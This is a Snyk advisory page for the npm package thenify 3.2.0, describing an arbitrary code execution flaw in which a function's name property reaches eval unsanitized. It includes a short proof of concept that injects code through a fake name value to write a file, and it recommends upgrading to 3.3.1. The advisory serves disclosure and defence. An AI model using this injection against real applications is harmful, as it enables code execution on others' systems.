thenify@3.2.0 vulnerabilities

Promisify a callback-based function

  • latest version

    3.3.1

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    5 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the thenify package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Execution

    thenify is a Promisify a callback-based function using any-promise.

    Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

    PoC

    var a = require("thenify");
    var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
    function cur(){};
    Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
    a(cur);
    

    How to fix Arbitrary Code Execution?

    Upgrade thenify to version 3.3.1 or higher.

    <3.3.1